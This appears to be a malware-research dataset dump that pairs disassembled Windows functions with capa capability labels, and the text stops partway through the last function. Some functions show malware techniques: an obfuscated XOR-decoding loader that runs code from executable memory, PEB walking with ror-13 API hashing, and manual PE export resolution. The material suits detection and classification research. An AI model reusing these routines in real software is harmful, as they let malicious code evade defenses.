joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101b088
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword fs:[0x18]
push ebx
push esi
xor ebx, ebx
push 0x6a
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
mov byte [ebp - 1], bl
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
cmp eax, ebx
jne 0x101b0c9
mov esi, 0xc0000017
jmp 0x101b1f2
test byte [ebp + 0xc], 1
push edi
je 0x101b0e7
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0101affa
mov esi, eax
cmp esi, ebx
jge 0x101b239
push ebx
push 0x18
lea eax, [ebp - 0x34]
push eax
push 7
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
cmp esi, ebx
jl 0x101b1db
mov dword [ebp + 0xc], ebx
cmp dword [ebp - 0x34], ebx
jbe 0x101b1d6
push ebx
push dword [ebp + 0xc]
push 0x101f738
push 0x35
push dword [ebp - 0x14]
call fcn.0100948b
add esp, 0x14
cmp dword [ebp - 8], ebx
je 0x101b140
push dword [ebp - 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov dword [ebp - 8], ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
call fcn.0101b55c
test eax, eax
jl 0x101b1c2
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jne 0x101b1c2
mov dword [ebp - 0x1c], ebx
cmp dword [eax + 4], ebx
jbe 0x101b1c2
add eax, 0x48
push 4
pop ecx
mov edi, 0x10055d8
lea esi, [eax + 8]
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x101b188
cmp byte [ebp - 1], bl
jne 0x101b19d
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax]
mov byte [ebp - 1], 1
mov dword [ebp - 0xc], ecx
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
add eax, 0x90
cmp edx, dword [ecx + 4]
jb 0x101b163
jmp 0x101b1c2
lea eax, [ebp - 0x18]
push eax
call fcn.0101b9d8
test eax, eax
jl 0x101b230
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call fcn.0101b444
test eax, eax
jl 0x101b230
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp - 0x34]
jb 0x101b10c
cmp byte [ebp - 1], bl
jne 0x101b237
mov esi, 0xc0000452
push dword [ebp - 0x14]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
pop edi
cmp dword [ebp - 8], ebx
je 0x101b20d
push dword [ebp - 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp dword [ebp - 0x18], ebx
je 0x101b228
push dword [ebp - 0x18]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
mov esi, 0xc0000451
jmp 0x101b1db
xor esi, esi
cmp dword [ebp + 8], ebx
jne 0x101b241
mov dword [ebp - 0xc], ebx
push dword [ebp - 0xc]
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x10]
push 0x101f738
push 0x35
push edi
call fcn.0100948b
mov eax, dword [ebp + 0x10]
add esp, 0x14
mov dword [eax], edi
jmp 0x101b1f1
Function at 0x101b2f8
Capabilities:
Get process heap flags
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x18]
push ebx
xor ebx, ebx
mov dword [eax], ebx
mov eax, dword [ebp + 0x1c]
push edi
push dword [ebp + 0xc]
mov dword [eax], ebx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
cmp dword [ebp + 0x10], ebx
je 0x101b346
lea eax, [ebp - 4]
push eax
push 0x20019
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.0101b280
mov edi, eax
cmp edi, ebx
jl 0x101b40b
jmp 0x101b34c
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.ntdll.dll_NtQueryValueKey]
lea eax, [ebp + 0xc]
push eax
push ebx
push ebx
push 2
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call esi
mov edi, eax
cmp edi, 0xc0000023
je 0x101b380
cmp edi, ebx
jl 0x101b40a
mov edi, 0xc0000001
jmp 0x101b40a
mov eax, dword fs:[0x18]
push dword [ebp + 0xc]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
mov ebx, dword [sym.imp.ntdll.dll_RtlAllocateHeap]
call ebx
mov dword [ebp - 8], eax
test eax, eax
je 0x101b3eb
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp + 0xc]
push eax
push 2
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call esi
mov edi, eax
test edi, edi
jl 0x101b40a
mov esi, dword [ebp - 8]
mov eax, dword [esi + 4]
cmp eax, dword [ebp + 0x14]
je 0x101b3ca
mov edi, 0xc0000024
jmp 0x101b40a
sub dword [ebp + 0xc], 0xc
mov eax, dword fs:[0x18]
push dword [ebp + 0xc]
mov eax, dword [eax + 0x30]
xor edi, edi
push edi
push dword [eax + 0x18]
call ebx
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
cmp eax, edi
jne 0x101b3f2
mov edi, 0xc000009a
jmp 0x101b40a
push dword [ebp + 0xc]
add esi, 0xc
push esi
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add esp, 0xc
mov dword [ecx], eax
pop esi
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
je 0x101b41a
push eax
call dword [sym.imp.ntdll.dll_NtClose]
cmp dword [ebp - 8], 0
je 0x101b437
push dword [ebp - 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, edi
pop edi
pop ebx
leave
ret 0x18
Function at 0x101bde2
Capabilities:
Get process heap force flags

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
lea eax, [ebp - 8]
push eax
push 0x10055f8
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.01016ff2
mov esi, eax
cmp esi, edi
jl 0x101beed
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x24000001
push dword [ebp - 8]
call fcn.010167dc
mov esi, eax
cmp esi, 0xc0000225
jne 0x101be33
mov dword [ebp + 8], edi
jmp 0x101be3b
cmp esi, edi
jl 0x101beed
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
shr eax, 4
push ebx
mov dword [ebp - 0xc], edi
cmp eax, edi
jbe 0x101be70
mov ecx, dword [ebp + 0xc]
add ecx, 8
mov dword [ebp - 0x10], ecx
mov esi, dword [ebp - 0x10]
push 4
pop ecx
mov edi, edx
xor ebx, ebx
repe cmpsd dword [esi], dword es:[edi]
je 0x101be97
add edx, 0x10
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jb 0x101be55
xor edi, edi
mov eax, dword fs:[0x18]
mov ecx, dword [ebp + 8]
mov eax, dword [eax + 0x30]
add ecx, 0x10
push ecx
push edi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebx, eax
cmp ebx, edi
jne 0x101be9d
mov esi, 0xc0000017
jmp 0x101bed4
xor esi, esi
xor edi, edi
jmp 0x101beec
mov esi, dword [ebp + 0xc]
add esi, 8
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push dword [ebp + 8]
lea eax, [ebx + 0x10]
push dword [ebp - 4]
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 8]
add esp, 0xc
add eax, 0x10
push eax
push ebx
push 0x24000001
push dword [ebp - 8]
call fcn.01016798
mov esi, eax
xor edi, edi
cmp ebx, edi
je 0x101beec
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push edi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
pop ebx
cmp dword [ebp - 4], edi
je 0x101bf08
push dword [ebp - 4]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push edi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp dword [ebp - 8], edi
je 0x101bf15
push dword [ebp - 8]
call fcn.01016892
pop edi
mov eax, esi
pop esi
leave
ret 8
Function at 0x101d05c
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push esi
mov esi, dword [ebp + 8]
mov al, byte [esi]
and al, 0x7f
cmp al, 0x7f
jne 0x101d07f
mov dword [ebp + 8], 0xc000003a
jmp 0x101d1ce
movzx eax, byte [esi + 3]
movzx ecx, byte [esi + 2]
shl eax, 8
or eax, ecx
add eax, esi
jmp 0x101d0a9
cmp cl, 4
jne 0x101d09a
cmp byte [eax + 1], cl
je 0x101d0b5
movzx ecx, byte [eax + 3]
movzx edx, byte [eax + 2]
shl ecx, 8
or ecx, edx
add eax, ecx
mov cl, byte [eax]
mov dl, cl
and dl, 0x7f
cmp dl, 0x7f
jne 0x101d090
push ebx
sub eax, esi
push edi
add eax, 4
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
lea ebx, [edi + 0xc]
push ebx
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov esi, eax
test esi, esi
jne 0x101d0e8
mov dword [ebp + 8], 0xc000009a
jmp 0x101d1b3
add edi, 0xfffffffc
push edi
push dword [ebp + 8]
lea eax, [esi + 0xc]
push eax
mov dword [esi], 1
mov dword [esi + 4], ebx
mov dword [esi + 8], 4
call sub.msvcrt.dll_memcpy
lea eax, [edi + esi + 0xc]
add esp, 0xc
mov byte [eax], 0x7f
mov byte [eax + 1], 0xff
mov byte [eax + 2], 4
mov byte [eax + 3], 0
lea eax, [ebp - 4]
push eax
push 3
push esi
call fcn.0101c524
mov dword [ebp + 8], eax
test eax, eax
jl 0x101d196
mov eax, dword [ebp - 4]
mov edi, dword [eax + 4]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
sub edi, 0xc
lea ecx, [edi + 0x14]
push ecx
push 0
push dword [eax + 0x18]
mov dword [ebp - 8], ecx
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov ebx, eax
test ebx, ebx
jne 0x101d164
mov dword [ebp + 8], 0xc000009a
jmp 0x101d196
push dword [ebp - 8]
push 0
push ebx
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 4]
add eax, 0xc
push edi
push eax
lea eax, [ebx + 0x14]
push eax
mov dword [ebx], 2
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ebx
mov eax, dword [ebp + 0x10]
add esp, 0x18
mov dword [eax], ecx
cmp dword [ebp - 4], 0
je 0x101d1b3
push dword [ebp - 4]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
pop edi
pop ebx
test esi, esi
je 0x101d1ce
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push esi
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, dword [ebp + 8]
pop esi
leave
ret 0xc
Function at 0x101e673
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
cmp dword [0x10226fc], edi
jne 0x101e78f
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
test eax, eax
jne 0x101e6da
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call esi
mov eax, dword [ebp - 0x110]
dec eax
mov dword [0x10226fc], edi
pop esi
je 0x101e762
dec eax
jne 0x101e78f
cmp dword [ebp - 0x11c], 5
jne 0x101e74f
mov eax, dword [ebp - 0x118]
sub eax, edi
je 0x101e743
dec eax
je 0x101e730
dec eax
je 0x101e716
mov dword [0x10226fc], 0x14
jmp 0x101e78f
cmp word [ebp - 0xc], 1
jb 0x101e727
mov dword [0x10226fc], 0x10
or dword [0x10226fc], 4
jmp 0x101e78f
cmp word [ebp - 0xc], 2
jb 0x101e727
mov dword [0x10226fc], 8
jmp 0x101e727
mov dword [0x10226fc], 4
jmp 0x101e78f
cmp dword [ebp - 0x11c], 4
ja 0x101e7a1
mov dword [0x10226fc], 2
cmp dword [ebp - 0x11c], 4
jne 0x101e78f
cmp dword [ebp - 0x118], edi
je 0x101e785
cmp dword [ebp - 0x118], 0xa
je 0x101e785
cmp dword [ebp - 0x118], 0x5a
jne 0x101e78f
mov dword [0x10226fc], 1
mov ecx, dword [ebp - 4]
mov eax, dword [0x10226fc]
xor ecx, ebp
pop edi
call fcn.010090b9
leave
ret
mov dword [0x10226fc], 0x20
jmp 0x101e78f

Function at 0x101e7b2
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x20
lea eax, [ebp - 0x44]
push eax
push 8
push 0x404
mov esi, 0xc04
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x101e806
push 3
lea eax, [ebp - 0x44]
push 0x1005ba8
push eax
call sub.msvcrt.dll_wcsncmp
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xfffff800
add esi, 0xc04
mov ecx, dword [ebp - 4]
mov ax, si
xor ecx, ebp
pop esi
call fcn.010090b9
leave
ret

Function at 0x101e81b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp ax, word [0x1022700]
jne 0x101e8b6
push esi
lea eax, [ebp - 0x10]
push eax
push 1
xor esi, esi
push esi
push 0x1005ad8
push 0x80000002
mov dword [ebp - 0x14], 6
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x101e8b5
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push 0x1005b90
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x10]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x101e8b5
push 3
push dword [esi*8 + 0x1005928]
lea eax, [ebp - 0xc]
push eax
call sub.msvcrt.dll__wcsnicmp
add esp, 0xc
test eax, eax
je 0x101e8a7
inc esi
cmp esi, 0x1c
jb 0x101e886
jmp 0x101e8b5
mov ax, word [esi*8 + 0x100592c]
mov word [0x1022700], ax
pop esi
mov ecx, dword [ebp - 4]
mov ax, word [0x1022700]
xor ecx, ebp
call fcn.010090b9
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x403e59
pop dword [ebp - 0x30]
mov eax, 0x1a75825b
add eax, 0xe5cabbfe
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xb53c8be5
add dword [ebp - 0x40], 0x9915b966
mov dword [ebp - 0x3c], 0x881d4fe0
add dword [ebp - 0x3c], 0xaa15fc65
mov dword [ebp - 0x38], 0xc1249567
sub dword [ebp - 0x38], 0x74d85139
mov dword [ebp - 0x34], 0x82fabb08
sub dword [ebp - 0x34], 0x82fabb08
lea eax, [ebp - 0x40]
push eax
mov eax, 0x380159ef
sub eax, 0x37c0e98b
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xdd99bcee
sub dword [ebp - 0x40], 0x69275398
mov dword [ebp - 0x3c], 0x2bbc65fd
add dword [ebp - 0x3c], 0x15affb78
mov dword [ebp - 0x38], 0xb1bbfd6c
sub dword [ebp - 0x38], 0x4e4c9100
mov dword [ebp - 0x34], 0xa3503443
sub dword [ebp - 0x34], 0xa3503443
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x94e37b73
add eax, 0x6b5cf535
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x342d5
push 0
call eax
mov ecx, 0x3db8
mov edx, eax
mov edi, 0xeaff0775
sub edi, 0xeabe0775
add edi, dword [ebp - 0x30]
mov esi, 0xf7f851f7
xor dword [ebp - 4], 0x5717e396
mov ebx, dword [edi]
mov dword [ebp - 0x2c], 0x123037a4
xor ebx, esi
sub dword [ebp - 0x2c], 0x7ba6b802
mov dword [edx], ebx
sub dword [ebp - 0x24], 0x9f25fe9f
add edx, 4
add edi, 4
loop 0x403f6f
add eax, 0xabf55856
add eax, 0x540b915d
mov ebx, eax
add eax, 0x4be6f5a6
add eax, 0xb4190a5f
mov ecx, 0x142db797
add ecx, 0xec124869
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x404227
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x40425f
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x40424d
mov al, 1
jmp 0x4042cb
cmp dword [ebx + 0x54], ecx
jne 0x404256
mov al, 2
jmp 0x4042cb
cmp dword [ebx + 0x7c], ecx
jne 0x4042cb
mov al, 3
jmp 0x4042cb
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x404274
mov al, 4
jmp 0x4042cb
cmp ecx, 5
jne 0x404294
cmp ebx, 0
jne 0x404282
mov al, 5
jmp 0x4042cb
cmp ebx, 1
jne 0x40428b
mov al, 6
jmp 0x4042cb
cmp ebx, 2
jne 0x404294
mov al, 7
jmp 0x4042cb
cmp ecx, 0xa
jne 0x40429b
jmp 0x4042c9
cmp ecx, 6
jne 0x4042cb
cmp ebx, 0
jne 0x4042a9
mov al, 8
jmp 0x4042cb
cmp ebx, 1
jne 0x4042b2
mov al, 9
jmp 0x4042cb
cmp ebx, 2
jne 0x4042bb
mov al, 0xa
jmp 0x4042cb
cmp ebx, 3
jne 0x4042c4
mov al, 0xb
jmp 0x4042cb
cmp ebx, 4
jne 0x4042cb
mov al, 0xc
pop ebx
leave
ret

Function at 0x40628a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xffffffff
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
jecxz 0x4062ab
movzx edx, al
xor dl, byte [esi]
inc esi
shr eax, 8
xor eax, dword [edi + edx*4]
loop 0x40629d
not eax
jmp 0x4062b4
jmp 0x4062b9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x408aec
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
jmp 0x408b05
nop
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x408b24
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x408b1b
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x408b13
mov eax, ebx
leave
ret

Function at 0x408b66
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 4
mov esp, ebp
pop ebp
jmp 0x408b88
nop
pop edx
pop eax
pop ecx
push edx
pushal
mov ebx, eax
mov edi, ecx
xor al, al
scasb al, byte es:[edi]
jne 0x408b94
dec edi
sub edi, ecx
xchg ecx, edi
mov eax, dword [ebx + 0x3c]
mov esi, dword [ebx + eax + 0x78]
lea esi, [esi + ebx + 0x18]
lodsd eax, dword [esi]
xchg edx, eax
lodsd eax, dword [esi]
push eax
lodsd eax, dword [esi]
xchg ebp, eax
lodsd eax, dword [esi]
xchg ebp, eax
add eax, ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ecx
dec edx
je 0x408be3
mov esi, dword [eax + edx*4]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x408bcf
mov edi, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
jmp 0x408bb9
shl edx, 1
add ebp, edx
movzx eax, word [ebp + ebx]
shl eax, 2
add eax, dword [esp]
mov eax, dword [ebx + eax]
add eax, ebx
pop ecx
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x41c01e
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], esp
push 0
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41c055
push 6
call fcn.0048e37d
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x427a2e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], esp
push 1
push 0x5082b0
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.iexplore.exe
push 0x50f8c9
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x427a89
push 6
call fcn.0048e37d
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x2a
jne 0x427a9b
jmp 0x427c88
push reloc.WS2_32.dll_connect
push 0
push 0x50f8ce
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareClassesHttp_shellopencommand_
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x698
call fcn.00496500
add esp, 0x28
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427ae8
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str..exe
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427b1d
mov eax, 0x5082b0
push eax
push 4
mov ebx, 0x148
call fcn.00491970
add esp, 0x34
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x427c4b
fild dword [ebp - 0xc]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fadd qword [0x5083f2]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
call fcn.004025e9
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427b7e
mov eax, 0x5082b0
push eax
push 3
mov ebx, 0x13c
call fcn.00491810
add esp, 0x28
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427ba8
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427bbf
mov eax, 0x5082b0
push eax
push 1
mov ebx, 0x24c
call fcn.00490490
add esp, 0x10
test eax, eax
je 0x427c4b
lea eax, [ebp - 8]
push eax
call fcn.00427c9e
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427bfa
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esp
push 1
push 0x5082b0
mov ebx, dword [ebp + 8]
push dword [ebx]
push dword [ebp - 8]
push 0x50f8c9
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x427c39
push 6
call fcn.0048e37d
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x2a
jne 0x427c4b
jmp 0x427c88
mov dword [ebp - 0x10], esp
push 1
push 0x5082b0
push 0x5082b0
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0x50f8c9
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x427c88
push 6
call fcn.0048e37d
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427c98
push ebx
call fcn.0048e377
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x443eea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.00491200
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x443f2f
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x443f5a
push 6
call fcn.0048e37d
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x443f76
push eax
mov ebx, eax
call fcn.00402d2c
inc eax
push eax
call fcn.0048e371
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x443f7b
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x443f8c
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x444d80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.00491200
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x444dc5
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x100
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x444df0
push 6
call fcn.0048e37d
add esp, 4
push 0xa0000101
push 0
push 0x50e5ce
push 1
mov ebx, 0x168
call fcn.00490de0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 2
call fcn.00402d97
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x444e37
push ebx
call fcn.0048e377
add esp, 4
mov eax, dword [ebp - 0xc]
jmp 0x444e3f
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x444e50
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x444e55
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.00491200
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x444e9a
push ebx
call fcn.0048e377
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0xff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x444ec5
push 6
call fcn.0048e37d
add esp, 4
push 0xa0000101
push 0
push 0x50e5ce
push 1
mov ebx, 0x168
call fcn.00490de0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 2
call fcn.00402d97
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x444f0c
push ebx
